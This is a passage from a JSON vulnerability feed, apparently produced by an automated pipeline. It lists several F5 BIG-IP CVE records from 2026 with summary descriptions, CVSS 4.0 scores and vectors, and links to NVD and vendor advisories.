2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40629","cveId":"CVE-2026-40629","aliases":[],"kind":"vulnerability","title":"When SSL profiles are configured on a virtual server, undisclosed traffic can cause the virtual server to stop processing new client connections.","summary":"When SSL profiles are configured on a virtual server, undisclosed traffic can cause the virtual server to stop processing new client connections.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"When SSL profiles are configured on a virtual server, undisclosed traffic can cause the virtual server to stop processing new client connections.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:43.290Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40629","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40629","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40629","type":"primary","publishedAt":"2026-05-13T16:16:43.290Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000158978","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40618","cveId":"CVE-2026-40618","aliases":[],"kind":"vulnerability","title":"When an SSL profile is configured on a virtual server on BIG-IP Virtual Edition (VE) without Intel QuickAssist Technology (QAT) or on BIG-IP hardware platforms with the database...","summary":"When an SSL profile is configured on a virtual server on BIG-IP Virtual Edition (VE) without Intel QuickAssist Technology (QAT) or on BIG-IP hardware platforms with the database variable crypto.hwacceleration set to disabled, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  \n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"When an SSL profile is configured on a virtual server on BIG-IP Virtual Edition (VE) without Intel QuickAssist Technology (QAT) or on BIG-IP hardware platforms with the database variable crypto.hwacceleration set to disabled, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  \n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:43.097Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40618","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40618","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40618","type":"primary","publishedAt":"2026-05-13T16:16:43.097Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000158082","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40462","cveId":"CVE-2026-40462","aliases":[],"kind":"vulnerability","title":"Incorrect permission assignment vulnerabilities exist in iControl REST and TMOS shell (tmsh) undisclosed command which may allow an authenticated attacker to view sensitive...","summary":"Incorrect permission assignment vulnerabilities exist in iControl REST and TMOS shell (tmsh) undisclosed command which may allow an authenticated attacker to view sensitive information.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"Incorrect permission assignment vulnerabilities exist in iControl REST and TMOS shell (tmsh) undisclosed command which may allow an authenticated attacker to view sensitive information.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:42.960Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40462","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40462","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40462","type":"primary","publishedAt":"2026-05-13T16:16:42.960Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000156581","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40423","cveId":"CVE-2026-40423","aliases":[],"kind":"vulnerability","title":"When a SIP profile is configured on a virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.","summary":"When a SIP profile is configured on a virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"When a SIP profile is configured on a virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:42.560Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40423","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40423","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40423","type":"primary","publishedAt":"2026-05-13T16:16:42.560Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000161023","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40067","cveId":"CVE-2026-40067","aliases":[],"kind":"vulnerability","title":"When a BIG-IP APM access policy is configured on a virtual server, undisclosed traffic can cause the apmd process to terminate.","summary":"When a BIG-IP APM access policy is configured on a virtual server, undisclosed traffic can cause the apmd process to terminate.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"When a BIG-IP APM access policy is configured on a virtual server, undisclosed traffic can cause the apmd process to terminate.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:42.427Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40067","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40067","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40067","type":"primary","publishedAt":"2026-05-13T16:16:42.427Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000161056","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40061","cveId":"CVE-2026-40061","aliases":[],"kind":"vulnerability","title":"When BIG-IP DNS is provisioned, a vulnerability exists in an undisclosed iControl REST and BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with the...","summary":"When BIG-IP DNS is provisioned, a vulnerability exists in an undisclosed iControl REST and BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with the Resource Administrator or Administrator role to execute arbitrary system commands with higher privileges. In Appliance mode deployments, a successful exploit can allow the attacker to cross a security boundary.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"When BIG-IP DNS is provisioned, a vulnerability exists in an undisclosed iControl REST and BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with the Resource Administrator or Administrator role to execute arbitrary system commands with higher privileges. In Appliance mode deployments, a successful exploit can allow the attacker to cross a security boundary.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:42.283Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip domain name system","stacks":["F5 BIG-IP","big-ip domain name system"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40061","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40061","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40061","type":"primary","publishedAt":"2026-05-13T16:16:42.283Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000160788","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40060","cveId":"CVE-2026-40060","aliases":[],"kind":"vulnerability","title":"When a BIG-IP Advanced WAF or ASM security policy is configured on a virtual server, undisclosed requests can cause the bd process to terminate.","summary":"When a BIG-IP Advanced WAF or ASM security policy is configured on a virtual server, undisclosed requests can cause the bd process to terminate. \n\n \n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"When a BIG-IP Advanced WAF or ASM security policy is configured on a virtual server, undisclosed requests can cause the bd process to terminate. \n\n \n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:42.143Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip application security manager","stacks":["F5 BIG-IP","big-ip application security manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40060","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40060","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40060","type":"primary","publishedAt":"2026-05-13T16:16:42.143Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000160727","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-39459","cveId":"CVE-2026-39459","aliases":[],"kind":"vulnerability","title":"A vulnerability exists in iControl REST and the TMOS Shell (tmsh) where a highly privileged, authenticated attacker with at least the Manager role can create configuration objects...","summary":"A vulnerability exists in iControl REST and the TMOS Shell (tmsh) where a highly privileged, authenticated attacker with at least the Manager role can create configuration objects that allow running arbitrary commands.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"A vulnerability exists in iControl REST and the TMOS Shell (tmsh) where a highly privileged, authenticated attacker with at least the Manager role can create configuration objects that allow running arbitrary commands.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:41.380Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-39459","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-39459","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39459","type":"primary","publishedAt":"2026-05-13T16:16:41.380Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000160863","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-39458","cveId":"CVE-2026-39458","aliases":[],"kind":"vulnerability","title":"When a BIG-IP is configured with DNS caching  (Such as a DNS profile with caching enabled, SSL Orchestrator, Advanced WAF DoS protection), undisclosed traffic can cause the...","summary":"When a BIG-IP is configured with DNS caching  (Such as a DNS profile with caching enabled, SSL Orchestrator, Advanced WAF DoS protection), undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"When a BIG-IP is configured with DNS caching  (Such as a DNS profile with caching enabled, SSL Orchestrator, Advanced WAF DoS protection), undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:41.223Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-39458","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-39458","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39458","type":"primary","publishedAt":"2026-05-13T16:16:41.223Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000160945","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 